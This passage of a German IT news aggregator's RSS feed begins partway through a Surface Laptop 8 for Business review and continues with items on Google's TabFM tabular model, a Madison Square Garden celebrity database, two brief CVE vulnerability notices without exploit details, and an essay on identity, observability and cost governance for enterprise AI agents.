<p>Dieser ausgedehnte Cinebench-Stresstest verdeutlicht jedoch, dass Sie bei längerer Nutzung mit einer geringeren CPU-Leistung rechnen müssen.</p>



<p>Handbrake war ursprünglich der Test, mit dem wir bewerteten, wie gut sich der Laptop und sein Prozessor über einen längeren Zeitraum behaupten können. Die App selbst ist nützlich, auch wenn sie schon älter ist.</p>



<p>Sie transkodiert lediglich eine Videodatei in ein Format, das für die Speicherung auf einem Tablet verwendet wird. Angesichts der Verbreitung von Streaming-Apps findet diese Transkodierung mittlerweile meist im Hintergrund statt. Dennoch ist sie ein wirksames Maß für die dauerhafte CPU-Leistung.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.35.36.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195230" width="1024" height="436" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>Unser traditioneller Maßstab für die 3D-Leistung ist der “Time Spy”-Benchmark von 3DMark. Dieser misst die 3D-Leistung auf eine Weise, die ein echtes 3D-Spiel simuliert. Auch hier würde ich erwarten, dass der Surface Laptop recht gut abschneidet – und das tut er auch.</p>



<p>Allerdings sind mir bei den von diesem Laptop gemeldeten Ergebnissen einige übermäßige Schwankungen aufgefallen. Nach einem Kaltstart stiegen die Benchmark-Ergebnisse auf einen Höchstwert von 7.063. Im niedrigsten Fall sank das Ergebnis auf 4.601. Nach jedem Durchlauf ließ ich den Laptop zehn Minuten lang abkühlen.</p>



<p>Bei diesem Gerät zeigen die Ergebnisse jedoch einen deutlichen Unterschied zwischen der Durchführung des Benchmarks zu Beginn des Tages und der Durchführung nach einer Abkühlphase von zehn Minuten im Anschluss an eine Reihe anderer Benchmarks. Dies ist ein ungewöhnliches Verhalten und ein echter Minuspunkt. Ich gehe einfach immer davon aus, dass ein hochwertiger Laptop eine konstante Leistung abliefern kann.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.35.44.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195231" width="1024" height="351" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>Da es sich beim Surface Laptop 8 um ein Produktivitätsgerät handelt, habe ich ihn im Hinblick auf Gaming nicht ausgiebig getestet. Allerdings machen Intels XeSS-Upscaling und die Frame-Generierung einen enormen Unterschied.</p>



<p>“Cyberpunk: 2077”, getestet bei einer Auflösung von 1.920 × 1.080 Pixeln und der Einstellung „Low“, erzielte mit der reinen Render-Engine des Spiels eine durchschnittliche Bildrate von 50 Bildern pro Sekunde. Das ist ein schon relativ gut spielbares Ergebnis. Mit aktivierten Zusatzfunktionen stieg die Bildrate jedoch auf 133 Bilder pro Sekunde – was mehr als spielbar ist.</p>



<p>Bitte beachten Sie, dass der Benchmark nur etwa eine Minute lang läuft. Daher ist bei längerem Spielen mit einem Rückgang der Bildrate zu rechnen.</p>



<p>Bei einem Produktivitäts-Laptop lege ich Wert auf außergewöhnliche Leistung. Aber die Akkulaufzeit ist ebenso wichtig. Einige der ersten Panther-Lake-Laptops, die ich getestet habe, verfügten über riesige 99-Wattstunden-Akkus – das zulässige Maximum in Flugzeugen.</p>



<p>Um das Gewicht gering zu halten, lieferte Microsoft den Surface Laptop 8 for Business mit einem 52-Wattstunden-Akku aus. Das wirkt sich natürlich auf die Akkulaufzeit aus, wenn auch nicht dramatisch. Es macht mir keine Sorgen, dass ich für eine Akkulaufzeit von 17,3 Stunden etwas weniger Gewicht mit mir herumschleppen muss. Bei produktiver Arbeit könnte die Laufzeit aber etwas niedriger ausfallen als in unseren Tests.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.35.52.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195232" width="1024" height="415" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<h2 class="wp-block-heading">Preis und Verfügbarkeit</h2>



<p>Zum Zeitpunkt der Veröffentlichung ist der Surface Laptop 8 for Business <a href="https://www.pcwelt.de/article/3168116/surface-laptop-8-for-business-test.html#" target="_blank">nur bei Microsoft selbst</a> und wenigen anderen Händlern erhältlich. Der Einstiegspreis für das 13,8-Zoll-Modell liegt beim Hersteller bei 2.119 Euro. Dafür gibt es 16 Gigabyte RAM und 256 Gigabyte Speicherplatz. Mit 512-Gigabyte-SSD klettert der Preis auf 2.239 Euro.</p>



<p>Optional ist für ausgewählte 13,8-Zoll-Konfigurationen der integrierte Privacy Screen erhältlich. Ob diese Variante in Deutschland verfügbar ist, geht aus dem Microsoft Store derzeit nicht eindeutig hervor. Als Option steht der Blickschutz bei der Konfiguration noch nicht zur Verfügung.</p>



<h2 class="wp-block-heading">Fazit</h2>



<p>Würde man den Preis um etwa 1.000 Euro senken, dann ließe sich der Kauf des aktuellen Surface Laptop 8 for Business eher rechtfertigen. So ist dieser Laptop aber einfach viel zu teuer, um ihn zu empfehlen – selbst für die geschäftliche Nutzung.</p>



<p>Es ist erwähnenswert, dass die Laptops, mit denen wir den Surface Laptop primär vergleichen, auch erst kürzlich ausgeliefert wurden. Dadurch sind auch diese Geräte ebenfalls von den Kostensteigerungen bei Arbeitsspeicher und SSD-Speicher betroffen.</p>



<p>Bietet der Surface Laptop ansonsten etwas Überzeugendes? Abgesehen vom Blickschutzbildschirm eigentlich nicht wirklich. Was Leistung und Akkulaufzeit angeht, so gibt es viele Laptops, die diese Werte bei deutlich geringeren Anschaffungskosten sogar übertreffen.</p>



<p>Tatsächlich wirkt diese Generation der Surface-Laptops etwas unentschlossen. Privatkunden würden wahrscheinlich eine etwas leistungsstärkere Grafikeinheit für Spiele bevorzugen, während Geschäftsreisende eher auf eine starke CPU-Leistung Wert legen dürften. Das werden wir wahrscheinlich beim kommenden Surface Laptop für Privatkunden sehen, der vermutlich mit einem Qualcomm Snapdragon X2 Elite-Chip ausgestattet sein wird. Die Akkulaufzeit dürfte in etwa gleich bleiben.</p>



<p>Ich habe das Gefühl, dass ich bereits ausreichend Worte über diesen Laptop verloren habe. Er ist überteuert. Kaufen Sie ihn nicht.</p>



<h2 class="wp-block-heading">Technische Daten</h2>



<ul class="wp-block-list">
<li><strong>Prozessor: Core </strong>Ultra 5 335, Core Ultra 7 366H, Core Ultra X7 368H (getestet: 368H)</li>



<li><strong>Display:</strong> 13,8 Zoll (2.304 × 1.536 Pixel) PixelSense Flow, 24–120 Hertz, Dolby Vision, entspiegelt nach ISO-9241 oder blendfrei mit integriertem Blickschutz (getestet)</li>



<li><strong>Arbeitsspeicher:</strong> 16 Gigabyte/32 Gigabyte/64 Gigabyte LPDDR5X (getestet: 16 Gigabyte)</li>



<li><strong>Speicher:</strong> 256 Gigabyte/512 Gigabyte/1 Terabyte PCIe Gen 4 M.2 NVMe SSD (getestet: 512 Gigabyte)</li>



<li><strong>Grafikkarte:</strong> Iris Arc B390</li>



<li><strong>NPU:</strong> 50 TOPS</li>



<li><strong>Anschlüsse:</strong> 2 × USB-C/Thunderbolt 4, USB-A, 3,5-Millimeter-Kopfhöreranschluss, Surface Connect-Anschluss</li>



<li><strong>Sicherheit:</strong> Windows Hello-Kamera</li>



<li><strong>Kamera: </strong>1080p<strong> </strong>(zum Benutzer gerichtet, Windows Hello)</li>



<li><strong>Akku:</strong> Nennkapazität: 52,3 Wattstunden, tatsächliche Kapazität laut Test: 54,1 Wattstunden</li>



<li><strong>Drahtlos:</strong> Wi-Fi 7, Bluetooth Core 5.4</li>



<li><strong>Audio:</strong> Zwei Studio-Mikrofone, Omnisonic-Lautsprecher mit Dolby Atmos</li>



<li><strong>Betriebssystem:</strong> Windows 11 Pro</li>



<li><strong>Abmessungen:</strong> 301 Millimeter x 220 Millimeter x 17,5 Millimeter</li>



<li><strong>Gewicht:</strong> 1,35 Kilogramm</li>



<li><strong>Farben:</strong> Platin und Mattschwarz</li>



<li><strong>Preise:</strong> ab 2.119 Euro (Testmodell: 2.239 Euro)</li>
</ul>



<p>(<a href="https://www.pcwelt.de/article/3168116/surface-laptop-8-for-business-test.html" data-type="link" data-id="https://www.pcwelt.de/article/3168116/surface-laptop-8-for-business-test.html" target="_blank">PC-Welt</a>)</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google's TabFM skips per-dataset training and still predicts on tables it's never seen]]></title>
<description><![CDATA[The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines...]]></description>
<link>https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</guid>
<pubDate>Fri, 10 Jul 2026 20:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines to fight data drift. Google Research is proposing a way around that: <a href="https://research.google/blog/introducing-tabfm-a-zero-shot-foundation-model-for-tabular-data/">a new foundation model called TabFM</a> that treats tabular prediction as an in-context learning problem instead.</p><p>It can generate predictions for a new, unseen table in a single forward pass. For enterprise developers and AI engineers, this reduces the time-to-production from weeks of pipeline engineering to a single API call.</p><h2>The challenge with traditional ML</h2><p>To extract reliable predictions from a gradient-boosted tree, data scientists must build and maintain complex data pipelines. They have to clean messy inputs, impute missing values, encode categorical variables into numerical formats, and engineer custom feature crosses.</p><p>Once the data is ready, they must run repetitive hyperparameter optimization loops, searching across learning rates, tree depths, subsampling ratios, and regularization grids to find the best configuration. </p><p>Once deployed, these traditional models "incur ongoing operational debt through data drift monitoring and retraining pipelines to stay accurate," Weihao Kong, Research Scientist at Google Research, told VentureBeat.</p><p>Meanwhile, the rest of the AI industry has moved on. Generative AI models for text and computer vision have seamlessly shifted to zero-shot inference, where a model can perform a completely new task simply by being prompted with context. </p><p>Large language models (LLMs) already excel at <a href="https://venturebeat.com/business/fine-tuning-vs-in-context-learning-new-research-guides-better-llm-customization-for-real-world-tasks">in-context learning</a>, so why can't we just feed tables into an off-the-shelf LLM?</p><p>Because LLMs are trained on natural language rather than structured data, they struggle to process tables directly. First, their context limits are exhausted quickly by medium-sized tables containing just a few thousand rows and hundreds of columns. Second, LLMs suffer from tokenization inefficiency, awkwardly splitting numerical values and destroying mathematical precision. Finally, they suffer from structural blindness. When a 2D table is serialized as a 1D text string, LLMs lose track of which value belongs to which row and column as the table grows. </p><p>"That's why, today, it is far more effective to use an LLM to write the code that handles feature engineering and calls XGBoost than to ask the LLM to read the table itself," Kong said.</p><h2>What is TabFM?</h2><p>To run inference with TabFM, you do not update any model weights. Instead, you take your historical examples (the training rows with their known labels) and your target rows (the new data you want to predict) and pass them to the model as a single, unified prompt. The model learns to interpret the relationships between columns and rows directly from this context at runtime.</p><p>For example, consider an enterprise analyst trying to predict customer churn. Instead of building a bespoke data pipeline and training an XGBoost model, they can simply pass a sample of historical user session data alongside a new, active session into TabFM. In one forward pass, the model returns an instant churn probability. </p><p>TabFM overcomes the limitations of LLMs by treating the data as a grid, preserving its structural integrity without forcing it into a single-dimensional text string.</p><p>To effectively process diverse tabular structures while enabling scalable zero-shot prediction, TabFM synthesizes the strengths of earlier experimental architectures, TabPFN and TabICL. <a href="https://github.com/PriorLabs/tabpfn">TabPFN</a>, developed by Prior Labs, first proved that a transformer architecture could perform zero-shot classification on small tables, though it struggled to scale computationally to larger datasets. </p><p>Later, <a href="https://dl.acm.org/doi/10.5555/3780338.3782366">TabICL</a>, developed by France's National Research Institute for Digital Science and Technology, addressed this bottleneck by introducing row compression, allowing in-context learning to efficiently process much larger tables. </p><p>TabFM combines TabPFN's deep feature contextualization with TabICL's efficient compression into a novel hybrid design built on three key mechanisms:</p><p><b>1. Alternating row and column attention:</b> The raw table is first processed through a multilayer attention module that alternates across both columns (features) and rows (examples). By continuously attending across these two dimensions, the model natively captures complex feature interactions. This deep contextualization does the heavy lifting that would usually require tedious manual feature crafting by data scientists.</p><p><b>2. Row compression:</b> Following this contextualization, the cross-attended information for each row is compressed into a single, dense vector representation. TabICL pioneered this by using CLS tokens to compress a row's rich information into one vector, "in contrast to TabPFN v2, v2.5, and v2.6, which attend over the full cell grid throughout the network," Kong explained. This drastically shrinks the computational footprint.</p><p><b>3. In-context learning (ICL):</b> A causal Transformer then operates on this sequence of compressed embeddings. This Transformer model uses the attention mechanism of TabICL to attend over these dense row vectors, drastically reducing the computation cost and allowing the model to process large datasets efficiently.</p><p>A major selling point of TabFM is its pretraining recipe. The model was trained entirely on hundreds of millions of synthetic datasets. These datasets were dynamically generated using structural causal models (SCMs) that incorporate a wide variety of random functions. By training exclusively on synthetic SCMs, TabFM learned the fundamental mathematical priors of how tabular features interact without ingesting real-world, confidential CSV files.</p><h2>TabFM in action</h2><p>To test the model's capabilities, Google researchers benchmarked TabFM on TabArena, a comprehensive evaluation suite spanning 51 diverse tabular datasets across 38 classification and 13 regression tasks.</p><p>On these public benchmarks, TabFM's zero-shot predictions already match or beat heavily tuned supervised baselines. However, Google is careful to note that this does not automatically mean TabFM will universally dethrone bespoke, hyper-optimized production models on every enterprise workload.</p><p>"Instead of replacing hyper-optimized production models, the true practical business value it unlocks for lean engineering teams is velocity," Kong said. "It allows data analysts and backend engineers to instantly spin up high-quality baseline models without a dedicated data science team managing a complex lifecycle."</p><p>For advanced practitioners looking to squeeze out maximum accuracy, the research team also introduced a "TabFM-Ensemble" configuration. By running the model through 32 distinct variations and blending the results, TabFM pushes the performance even further. </p><h2>Getting started, trade-offs, and the cloud future</h2><p>The shift to in-context learning for tables introduces a new economic trade-off that engineering teams must consider. </p><p>With traditional algorithms, training is slow and expensive, but inference is lightning-fast and cheap. TabFM flips this dynamic. While training time drops to zero, inference becomes significantly heavier. Because the model must process the entire historical dataset as context during every single prediction, it requires more compute and memory at runtime. </p><p>In this new paradigm, "traditional machine learning training becomes the 'prefill' phase (KV caching) in the context window," Kong said. While this prefill cost is steep, it is paid only once per table, and the cache is reused across subsequent queries. "The catch is prediction latency, which no amount of caching removes," Kong added. Every new prediction requires a pass through a large transformer. "Any production API requiring single-digit-millisecond response times cannot tolerate TabFM's forward-pass overhead."</p><p>For developers looking to evaluate the model today, the barrier to entry is low. Google designed TabFM as a drop-in replacement for traditional ML workflows, offering a scikit-learn compatible API (TabFMClassifier and TabFMRegressor). It natively handles mixed numerical and categorical columns, works directly with pandas DataFrames, and requires no manual ordinal encoders or numerical scalers. The library supports both JAX and PyTorch backends.</p><p>However, enterprise teams need to be aware of current limitations and licensing restrictions. The model architecture has a hard limit of 10 output classes for classification tasks, and it is optimized for tables with up to 500 features. More importantly, while Google released the <a href="https://github.com/google-research/tabfm">underlying codebase</a> under the permissive Apache 2.0 license, the pre-trained model weights are published on <a href="https://huggingface.co/google/tabfm-1.0.0-pytorch">Hugging Face</a> under a strict tabfm-non-commercial-v1.0 license. Developers can evaluate the model internally, but it cannot be deployed in commercial products yet.</p><p>Looking ahead, Google is addressing the commercial deployment friction through its cloud ecosystem. TabFM is being integrated directly into Google BigQuery, allowing analysts to run zero-shot predictions natively via an “AI.PREDICT” command. By putting foundation model inference right next to the data warehouse, TabFM could soon make complex tabular machine learning as accessible as a basic database query.</p><p>In practice, TabFM shines in rapid prototyping, high data drift environments, and small to medium-sized datasets under 100,000 rows. Conversely, teams should stick to traditional models for strict, ultra-low latency APIs, or massive tables exceeding one million rows, which currently require aggressive row sampling that degrades the foundation model's competitive advantage.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Madison Square Garden Kept a List of Gay Celebrities]]></title>
<description><![CDATA[An MSG database tracked and categorized hundreds of celebs, famous Knicks superfans, and even some of Taylor Swift’s wedding guests. Labels included “LGBTQIA,” “DO NOT HOST,” and low to high “risk.” This article has been indexed from Security Latest Read…
Read more →
The post Madison Square Garde...]]></description>
<link>https://tsecurity.de/de/3656741/it-security-nachrichten/madison-square-garden-kept-a-list-of-gay-celebrities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656741/it-security-nachrichten/madison-square-garden-kept-a-list-of-gay-celebrities/</guid>
<pubDate>Thu, 09 Jul 2026 12:50:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An MSG database tracked and categorized hundreds of celebs, famous Knicks superfans, and even some of Taylor Swift’s wedding guests. Labels included “LGBTQIA,” “DO NOT HOST,” and low to high “risk.” This article has been indexed from Security Latest Read…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/madison-square-garden-kept-a-list-of-gay-celebrities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/madison-square-garden-kept-a-list-of-gay-celebrities/">Madison Square Garden Kept a List of Gay Celebrities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Madison Square Garden Kept a List of Gay Celebrities]]></title>
<description><![CDATA[An MSG database tracked and categorized hundreds of celebs, famous Knicks superfans, and even some of Taylor Swift’s wedding guests. Labels included “LGBTQIA,” “DO NOT HOST,” and low to high “risk.”]]></description>
<link>https://tsecurity.de/de/3656625/it-nachrichten/madison-square-garden-kept-a-list-of-gay-celebrities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656625/it-nachrichten/madison-square-garden-kept-a-list-of-gay-celebrities/</guid>
<pubDate>Thu, 09 Jul 2026 12:17:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An MSG database tracked and categorized hundreds of celebs, famous Knicks superfans, and even some of Taylor Swift’s wedding guests. Labels included “LGBTQIA,” “DO NOT HOST,” and low to high “risk.”]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2023-27666 | Auto Dealer Management System 1.0 SystemSettings.php?f=update_settings Name cross site scripting (EUVD-2023-31402)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in Auto Dealer Management System 1.0. The affected element is an unknown function of the file /classes/SystemSettings.php?f=update_settings. Performing a manipulation of the argument Name results in cross site scripting.

This vulnerability ...]]></description>
<link>https://tsecurity.de/de/3656574/sicherheitsluecken/cve-2023-27666-auto-dealer-management-system-10-systemsettingsphpfupdatesettings-name-cross-site-scripting-euvd-2023-31402/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656574/sicherheitsluecken/cve-2023-27666-auto-dealer-management-system-10-systemsettingsphpfupdatesettings-name-cross-site-scripting-euvd-2023-31402/</guid>
<pubDate>Thu, 09 Jul 2026 11:53:25 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/auto_dealer_management_system">Auto Dealer Management System 1.0</a>. The affected element is an unknown function of the file <em>/classes/SystemSettings.php?f=update_settings</em>. Performing a manipulation of the argument <em>Name</em> results in cross site scripting.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2023-27666">CVE-2023-27666</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Three keys to deploying AI agents]]></title>
<description><![CDATA[Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.



Gartner predicts that more than 40% of agentic AI projects will be canceled by 2027...]]></description>
<link>https://tsecurity.de/de/3656433/ai-nachrichten/three-keys-to-deploying-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656433/ai-nachrichten/three-keys-to-deploying-ai-agents/</guid>
<pubDate>Thu, 09 Jul 2026 11:03:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.</p>



<p>Gartner predicts that more than <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">40% of agentic AI projects will be canceled</a> by 2027, and the <a href="https://artificialintelligenceact.eu/article/14/">EU AI Act Article 14</a> requirements for human oversight for high-risk AI systems take effect on August 2, 2026. The deciding factor for whether agentic AI reaches production isn’t the model, the framework, or the use case. It’s the infrastructure beneath the agent: the part the people building agents have never had to think about.</p>



<p>Organizations are racing to deploy agentic AI to stay competitive, which means pressure-testing is often overlooked. Every agent project should be scrutinized by three executives asking three different sets of questions. The CISO asks whether we are exposed. The CFO asks whether we are overspending. The chief AI officer asks whether we are getting value. </p>



<p>As a product leader focused on AI governance, I see this pattern across customer environments. Three architecture layers answer those three questions: identity, observability, and cost optimization. I’ll walk through each of the layers and provide a four-question diagnostic for the next production push.</p>



<h2 class="wp-block-heading">Why AI pilots stall</h2>



<p>An agent is not a faster chatbot. It chains dozens of steps, calls external tools, retains state across sessions, and triggers real-world actions. Most inherit the credentials of whoever deployed them. They operate at machine speed without context for the consequences of each step.</p>



<p>The mismatch is not a competence gap on the human side. It is a time-horizon gap. An engineer reasons about a database change over hours. An agent triggers a hundred of them before anyone reviews the first. Traditional audit logging captures request and response. That does not catch this pattern.</p>



<p>When something breaks, the cost is rarely the incident. It is the months of stalled deployment that follow. The risk committee freezes pilots. The productivity gains the program was supposed to deliver never materialize. Finance still gets the API bill. Three architecture layers decide whether a deployment survives that pattern. Each one is the answer to a question the people building agents never had to ask.</p>



<h2 class="wp-block-heading">Layer 1: Identity for non-human actors</h2>



<p>Start with identity. The default failure looks routine: a product manager with broad API access spawns an agent that inherits the full scope of those credentials and runs at machine speed across systems no one inventoried.</p>



<p>The scale is bigger than most teams realize. <a href="https://www.signisys.com/blog/non-human-identities-outnumber-users-100-to-1-the-cloud-security-crisis-no-one-is-talking-about/">Industry IAM research</a> puts non-human identities at more than 100 to 1 versus human accounts, with <a href="https://www.cybersecuritytribe.com/news/research-reveals-44-growth-in-nhis-from-2024-to-2025">some 2026 surveys</a> putting the ratio as high as 144 to 1. A <a href="https://www.orchid.security/reports/the-identity-gap-2026-snapshot-identity-insight-straight-from-the-source">May 2026 Identity Gap Report</a> found two-thirds are unseen and unmanaged.</p>



<p>Agents are moving from human identities with their “owners”’ permissions to first-class principals. They are purpose-bound, cryptographically attested, and scoped to one task at a time. Google’s Agent Identity, built on SPIFFE, is one early example. The production pattern has three properties. Credentials are issued per agent task. Token lifetime is measured in minutes to hours, not weeks. Scope is narrowed to the specific tools and data classes the task requires, and the credential revokes automatically on task completion.</p>



<p>If a single static credential is good for a week and 50 different tasks, you are not running agentic AI. You are running a service account with extra steps.</p>



<h2 class="wp-block-heading">Layer 2: Observability that serves all three executives</h2>



<p>Identity controls what an agent can do. Observability shows what it’s actually doing. One instrumentation layer, three views.</p>



<p>First, the security view. Traditional logging captures request and response, which assumes one human action per logged event. An agent’s unit of work is a chain. Pick a tool, call it, read the result, decide the next step. Twenty steps, some of them writing to production. Instrument every step as a durable audit object, independently queryable. Understand which tool was invoked, what data was accessed, what policy applied, and what the agent reasoned to justify the next step. That’s what Article 14 oversight requires for production.</p>



<p>Second, the business-outcomes view. Audit objects answer the CISO. The chief AI officer asks a different question. Is the agent accomplishing what we deployed it for, or burning compute on a tangent? An agent can run 200 tool calls, generate clean audit logs, and produce nothing. It might be looping on a sub-goal that drifted three steps back. Observe each step against the declared business purpose: on-task ratio, sub-goal coherence, progress markers. Project management telemetry for a non-human worker.</p>



<p>Third, the cost view. The same per-step instrumentation produces cost telemetry: token count per step, model per call, context size per turn, downstream tool-call costs. Without that attribution, the next section’s optimizations are blind.</p>



<p>A busy agent and a productive agent look identical in the security log. They look identical on the bill too. The difference shows up only when all three views run from the same instrumentation.</p>



<h2 class="wp-block-heading">Layer 3: Cost optimization</h2>



<p>Cost is where the architecture pays back. Gartner’s March 2026 analysis put <a href="https://www.gartner.com/en/newsroom/press-releases/2026-03-25-gartner-predicts-that-by-2030-performing-inference-on-an-llm-with-1-trillion-parameters-will-cost-genai-providers-over-90-percent-less-than-in-2025">agentic workloads at five to 30 times the token cost per task</a> of a standard chatbot. The FinOps Foundation’s 2026 State of FinOps report found that <a href="https://data.finops.org/">73% of organizations exceeded their original AI budget projections</a>. Three failure modes drive that overrun.</p>



<p>First, using the wrong model. Agents default to the most capable one available. They call a frontier model for tasks a smaller one could handle with identical quality: summarizing a transcript, formatting JSON, classifying a ticket. The <a href="https://proceedings.iclr.cc/paper_files/paper/2025/hash/5503a7c69d48a2f86fc00b3dc09de686-Abstract-Conference.html">RouteLLM paper at ICLR 2025</a> demonstrated that intelligent routing cuts total LLM inference cost 40% to 80% with no measurable quality loss on routine work. Move model selection from a per-developer choice to a per-policy layer.</p>



<p>Second, running in loops. Agents can spend without limit if no one is watching. A widely-cited 2026 incident saw a <a href="https://dev.to/dingdawg/how-an-ai-agent-ran-up-a-47000-bill-in-11-days-and-how-to-stop-it-1fk">LangChain multi-agent system run an infinite loop for 11 days and burn $47,000 in API charges</a>. Per-session token ceilings, <a href="https://fountaincity.tech/resources/blog/ai-agent-cost-circuit-breaker/">loop-detection circuit breakers</a> that flag tool calls highly similar to prior calls, and hard daily caps stop this before it generates the bill. In our deployments, a <a href="https://www.supra-wall.com/en/learn/ai-agent-runaway-costs">three-tier cost structure</a> catches the bulk of runaway patterns: a $50 daily soft alert, a $100 daily hard cutoff forcing routing to cheaper models, and a $1,000 monthly ceiling requiring manager approval.</p>



<p>Third, re-paying for the same context on every step. Every step re-sends the accumulated system prompt and conversation history. By step 20 the agent has paid for that context 20 times. <a href="https://www.vantage.sh/blog/agentic-coding-costs">Vantage’s 2026 analysis of agentic coding sessions</a> found re-sent context accounts for roughly 62% of the average agent’s bill, the biggest single optimization target in agentic workloads. Three patterns help: anchored summarization at phase boundaries, sliding context windows, and provider-native prompt caching at the gateway. Most agents skip caching entirely, though <a href="https://platform.claude.com/docs/en/build-with-claude/prompt-caching">Anthropic</a> prices cached input at roughly 10% of base, <a href="https://developers.googleblog.com/en/gemini-2-5-models-now-support-implicit-caching/">Gemini</a> at 10% to 25%, and <a href="https://openai.com/index/api-prompt-caching/">OpenAI</a> at 50%.</p>



<p>Governing agent cost means seeing every call, every model, every token attributed to the agent and the business purpose. Then act on it. Token counts without business attribution tell you how many gallons of gas you burned, not where you drove.</p>



<h2 class="wp-block-heading">The deployment velocity payoff</h2>



<p>The three layers serve the three executive questions. Identity gates what the agent can do. Observability shows what it is doing. Cost optimization controls what it spends.</p>



<p>The honest counterargument is that governance always slows deployment. That is true when governance is bolted on as approval gates layered over an agent that wasn’t built with observability or per-task identity. It is false when governance is built into the architecture from day one. Teams that experience governance as a brake installed the brake without the steering wheel.</p>



<p>Governance built right still costs something. Per-task credentials add work on every tool call. Observability infrastructure adds compute. The question is whether that cost beats the alternative.</p>



<p>The layers compound. Identity without observability is theoretical. Observability without cost control is descriptive. Without identity at the bottom, cost control becomes caps without context, forever reactive. All three together produce a governance review that runs in weeks, not quarters, because the data each executive needs already exists. In our experience, organizations with that infrastructure can deploy six workflows to production in the time competitors complete one governance review. The real ROI of agentic AI is not how much faster a single workflow runs. In practice, it’s how many workflows your team can defensibly put into production in a year.</p>



<h2 class="wp-block-heading">Before the next pilot</h2>



<p>Here are four questions to run against any agent your team is about to push to production:</p>



<ol class="wp-block-list">
<li>Identity. For each agent in production, can you point to the per-task credentials it uses today, and the maximum scope of any single token?</li>



<li>Observability. For any agent session, can you produce three views from the same instrumentation: the audit object per step, the on-task ratio versus tangents, and the per-step cost broken down by model and context size?</li>



<li>Cost optimization. Does your platform automatically route by model, cap runaway loops, and avoid re-sending the same context every step?</li>



<li>Velocity. How long does it take a new agent workflow to move from approved pilot to production in your environment today?</li>
</ol>



<p>If the answer is months, the architecture above is the gap. Gartner’s 40% stat is about your next pilot.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-15137 | code-projects Interview Management System 1.0 \inc\classes\View.php ID sql injection (EUVD-2026-42493)]]></title>
